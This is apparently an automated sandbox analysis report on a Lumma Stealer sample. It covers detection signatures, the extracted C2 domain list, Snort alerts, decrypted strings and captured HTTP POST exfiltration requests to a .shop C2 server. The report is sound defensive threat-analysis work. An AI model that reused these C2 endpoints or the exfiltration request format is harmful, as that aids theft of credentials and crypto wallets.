Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1432455
MD5:	336dbcbe5553f56bceb71dd99a37c00f
SHA1:	f4eea5819160318881ee508a7c6615bea5a7c519
SHA256:	d9cc9b3e6d2017094f1dcc47034464cd873145f086de547eb11fd79654be0426
Tags:	exe
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

LummaC encrypted strings found

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Detected potential crypto function

Entry point lies outside standard sections

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6288 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 336DBCBE5553F56BCEB71DD99A37C00F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://darktrace.com/blog/the-rise-of-the-lumma-info-stealer https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-lummac2-94111d4b1e11	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["demonstationfukewko.shop", "liabilitynighstjsko.shop", "alcojoldwograpciw.shop", "incredibleextedwj.shop", "shortsvelventysjo.shop", "shatterbreathepsw.shop", "tolerateilusidjukl.shop", "productivelookewr.shop", "shortsvelventysjo.shop"], "Build id": "ErN1Nu--"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
Process Memory Space: file.exe PID: 6288	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 6288	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Snort Signatures

ET TROJAN Observed Lumma Stealer Related Domain (shortsvelventysjo .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 104.21.16.225

Timestamp:	04/27/24-08:14:01.549275
SID:	2052226
Source Port:	49734
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (shortsvelventysjo .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 104.21.16.225

Timestamp:	04/27/24-08:14:06.174894
SID:	2052226
Source Port:	49738
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (shortsvelventysjo .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 104.21.16.225

Timestamp:	04/27/24-08:14:02.309709
SID:	2052226
Source Port:	49735
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (shortsvelventysjo .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 104.21.16.225

Timestamp:	04/27/24-08:13:58.472124
SID:	2052226
Source Port:	49732
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (shortsvelventysjo .shop) - Source IP: 192.168.2.4 - Destination IP: 1.1.1.1

Timestamp:	04/27/24-08:13:58.363392
SID:	2052214
Source Port:	64445
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (shortsvelventysjo .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 104.21.16.225

Timestamp:	04/27/24-08:14:05.427091
SID:	2052226
Source Port:	49737
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (shortsvelventysjo .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 104.21.16.225

Timestamp:	04/27/24-08:14:00.516392
SID:	2052226
Source Port:	49733
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (shortsvelventysjo .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 104.21.16.225

Timestamp:	04/27/24-08:14:03.127960
SID:	2052226
Source Port:	49736
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (shortsvelventysjo .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 104.21.16.225

Timestamp:	04/27/24-08:14:07.361649
SID:	2052226
Source Port:	49739
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://shortsvelventysjo.shop/api

Avira URL Cloud: Label: malware

Found malware configuration

Source: 0.2.file.exe.f80000.0.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["demonstationfukewko.shop", "liabilitynighstjsko.shop", "alcojoldwograpciw.shop", "incredibleextedwj.shop", "shortsvelventysjo.shop", "shatterbreathepsw.shop", "tolerateilusidjukl.shop", "productivelookewr.shop", "shortsvelventysjo.shop"], "Build id": "ErN1Nu--"}

Multi AV Scanner detection for domain / URL

Source: shortsvelventysjo.shop	Virustotal: Detection: 16%	Perma Link
Source: shortsvelventysjo.shop	Virustotal: Detection: 16%	Perma Link
Source: incredibleextedwj.shop	Virustotal: Detection: 14%	Perma Link
Source: tolerateilusidjukl.shop	Virustotal: Detection: 14%	Perma Link
Source: shatterbreathepsw.shop	Virustotal: Detection: 17%	Perma Link
Source: liabilitynighstjsko.shop	Virustotal: Detection: 17%	Perma Link
Source: demonstationfukewko.shop	Virustotal: Detection: 18%	Perma Link
Source: https://shortsvelventysjo.shop/api	Virustotal: Detection: 18%	Perma Link
Source: productivelookewr.shop	Virustotal: Detection: 16%	Perma Link
Source: https://shortsvelventysjo.shop/F	Virustotal: Detection: 14%	Perma Link
Source: https://shortsvelventysjo.shop/apiL	Virustotal: Detection: 8%	Perma Link
Source: alcojoldwograpciw.shop	Virustotal: Detection: 17%	Perma Link

Multi AV Scanner detection for submitted file

Source: file.exe

Virustotal: Detection: 29%

Perma Link

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmp	String decryptor: demonstationfukewko.shop
Source: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmp	String decryptor: liabilitynighstjsko.shop
Source: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmp	String decryptor: alcojoldwograpciw.shop
Source: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmp	String decryptor: incredibleextedwj.shop
Source: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmp	String decryptor: shortsvelventysjo.shop
Source: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmp	String decryptor: shatterbreathepsw.shop
Source: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmp	String decryptor: tolerateilusidjukl.shop
Source: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmp	String decryptor: productivelookewr.shop
Source: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmp	String decryptor: shortsvelventysjo.shop
Source: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmp	String decryptor: ErN1Nu--

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00F96645 CryptUnprotectData,

0_2_00F96645

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.16.225:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.225:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.225:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.225:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.225:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.225:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.225:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.225:443 -> 192.168.2.4:49739 version: TLS 1.2

Source: file.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_00F9601F
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], FD72A8C7h	0_2_00FB62F2
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 73CEF4DDh	0_2_00FB63FF
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov word ptr [edi], ax	0_2_00FA0D80
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [00FC1300h]	0_2_00FA0D80
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then lea eax, dword ptr [esi+70h]	0_2_00FA0D80
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov ecx, dword ptr [esi+70h]	0_2_00F96EA6
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp eax	0_2_00F95340
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_00F95470
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esp+08h]	0_2_00F89970
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp ecx	0_2_00FB1DE0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp cl, 0000002Eh	0_2_00FA2090
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov word ptr [edi], cx	0_2_00FB61F7
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then test esi, esi	0_2_00FB81B9
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov word ptr [edi], ax	0_2_00FB617A
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_00F9A5E0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov word ptr [eax], dx	0_2_00F9A5E0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx edx, byte ptr [esi+edi]	0_2_00F825A0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	0_2_00F966E7
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov byte ptr [ebx], cl	0_2_00FA67C9
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov byte ptr [ebx], cl	0_2_00FA67BA
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp eax	0_2_00F9C798
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov byte ptr [ebx], cl	0_2_00FA672D
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov byte ptr [ebx], al	0_2_00FA4AB3
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp word ptr [ebx+esi+02h], 0000h	0_2_00F9AAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov byte ptr [eax], cl	0_2_00F96A89
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov byte ptr [eax], cl	0_2_00F96A89
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov word ptr [edi], ax	0_2_00FA0DF0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then inc ebx	0_2_00F94EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esi+00000540h]	0_2_00FA4FB4
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esi+00000540h]	0_2_00FA5082
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movsx eax, byte ptr [esi+ecx]	0_2_00F8D2A0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esi+00000540h]	0_2_00FA4AAE
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp byte ptr [ecx+eax+01h], 00000000h	0_2_00F91361
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp byte ptr [ecx], 00000000h	0_2_00F91361
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esp+00000080h]	0_2_00F894F0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, ecx	0_2_00FA34EC
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp eax	0_2_00FB7499
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esi]	0_2_00F9761C
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [00FC1B48h]	0_2_00FA3444
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	0_2_00FAFCC0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 0AB35B01h	0_2_00F93DC7
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov byte ptr [ebx], cl	0_2_00FA5EDD
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov byte ptr [edi], al	0_2_00FA5EDD
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx eax, word ptr [edi+ecx*4]	0_2_00F87E40
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx ecx, word ptr [edi+eax*4]	0_2_00F87E40
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp eax	0_2_00F8FFA2

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2052214 ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (shortsvelventysjo .shop) 192.168.2.4:64445 -> 1.1.1.1:53
Source: Traffic	Snort IDS: 2052226 ET TROJAN Observed Lumma Stealer Related Domain (shortsvelventysjo .shop in TLS SNI) 192.168.2.4:49732 -> 104.21.16.225:443
Source: Traffic	Snort IDS: 2052226 ET TROJAN Observed Lumma Stealer Related Domain (shortsvelventysjo .shop in TLS SNI) 192.168.2.4:49733 -> 104.21.16.225:443
Source: Traffic	Snort IDS: 2052226 ET TROJAN Observed Lumma Stealer Related Domain (shortsvelventysjo .shop in TLS SNI) 192.168.2.4:49734 -> 104.21.16.225:443
Source: Traffic	Snort IDS: 2052226 ET TROJAN Observed Lumma Stealer Related Domain (shortsvelventysjo .shop in TLS SNI) 192.168.2.4:49735 -> 104.21.16.225:443
Source: Traffic	Snort IDS: 2052226 ET TROJAN Observed Lumma Stealer Related Domain (shortsvelventysjo .shop in TLS SNI) 192.168.2.4:49736 -> 104.21.16.225:443
Source: Traffic	Snort IDS: 2052226 ET TROJAN Observed Lumma Stealer Related Domain (shortsvelventysjo .shop in TLS SNI) 192.168.2.4:49737 -> 104.21.16.225:443
Source: Traffic	Snort IDS: 2052226 ET TROJAN Observed Lumma Stealer Related Domain (shortsvelventysjo .shop in TLS SNI) 192.168.2.4:49738 -> 104.21.16.225:443
Source: Traffic	Snort IDS: 2052226 ET TROJAN Observed Lumma Stealer Related Domain (shortsvelventysjo .shop in TLS SNI) 192.168.2.4:49739 -> 104.21.16.225:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: demonstationfukewko.shop
Source: Malware configuration extractor	URLs: liabilitynighstjsko.shop
Source: Malware configuration extractor	URLs: alcojoldwograpciw.shop
Source: Malware configuration extractor	URLs: incredibleextedwj.shop
Source: Malware configuration extractor	URLs: shortsvelventysjo.shop
Source: Malware configuration extractor	URLs: shatterbreathepsw.shop
Source: Malware configuration extractor	URLs: tolerateilusidjukl.shop
Source: Malware configuration extractor	URLs: productivelookewr.shop
Source: Malware configuration extractor	URLs: shortsvelventysjo.shop

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: shortsvelventysjo.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 49Host: shortsvelventysjo.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18158Host: shortsvelventysjo.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8779Host: shortsvelventysjo.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20432Host: shortsvelventysjo.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 5433Host: shortsvelventysjo.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1404Host: shortsvelventysjo.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 574376Host: shortsvelventysjo.shop

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: shortsvelventysjo.shop

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: shortsvelventysjo.shop

Source: file.exe, 00000000.00000003.1696934272.000000000404D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.1696934272.000000000404D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.1696934272.000000000404D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: file.exe, 00000000.00000003.1696934272.000000000404D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.1696934272.000000000404D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.1696934272.000000000404D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.1696934272.000000000404D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: file.exe	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: file.exe, 00000000.00000003.1696934272.000000000404D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.1696934272.000000000404D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: file.exe	String found in binary or memory: http://ocsp.sectigo.com0
Source: file.exe, 00000000.00000003.1696934272.000000000404D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.1696934272.000000000404D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.1682052201.000000000405A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000003.1717651097.0000000001A97000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1717450258.0000000001A93000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: file.exe, 00000000.00000003.1682052201.000000000405A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1682052201.000000000405A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1682052201.000000000405A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000003.1717651097.0000000001A97000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1717450258.0000000001A93000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000003.1682052201.000000000405A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1682052201.000000000405A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1682052201.000000000405A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: file.exe, 00000000.00000003.1717651097.0000000001A97000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1717450258.0000000001A93000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8z
Source: file.exe	String found in binary or memory: https://sectigo.com/CPS0
Source: file.exe, 00000000.00000003.1679102211.0000000001A1D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1760802207.0000000001A1D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1761950712.0000000001A1D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1760802207.0000000001A76000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1761950712.0000000001A76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://shortsvelventysjo.shop/
Source: file.exe, 00000000.00000003.1689019870.0000000001A76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://shortsvelventysjo.shop/3
Source: file.exe, 00000000.00000003.1689019870.0000000001A76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://shortsvelventysjo.shop/8
Source: file.exe, 00000000.00000003.1689019870.0000000001A76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://shortsvelventysjo.shop/F
Source: file.exe, 00000000.00000003.1689019870.0000000001A76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://shortsvelventysjo.shop/L
Source: file.exe, 00000000.00000003.1760712769.0000000001A8F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1689019870.0000000001A56000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1760648488.0000000001A84000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1689019870.0000000001A76000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1679102211.0000000001A56000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1762146206.0000000001A90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://shortsvelventysjo.shop/api
Source: file.exe, 00000000.00000003.1689019870.0000000001A56000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1679102211.0000000001A56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://shortsvelventysjo.shop/api2
Source: file.exe, 00000000.00000003.1760712769.0000000001A8F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1760648488.0000000001A84000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1762146206.0000000001A90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://shortsvelventysjo.shop/api=
Source: file.exe, 00000000.00000003.1689019870.0000000001A56000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1679102211.0000000001A56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://shortsvelventysjo.shop/apiL
Source: file.exe, 00000000.00000003.1689019870.0000000001A76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://shortsvelventysjo.shop/apih?
Source: file.exe, 00000000.00000003.1689019870.0000000001A76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://shortsvelventysjo.shop/u
Source: file.exe, 00000000.00000003.1680085593.000000000409E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
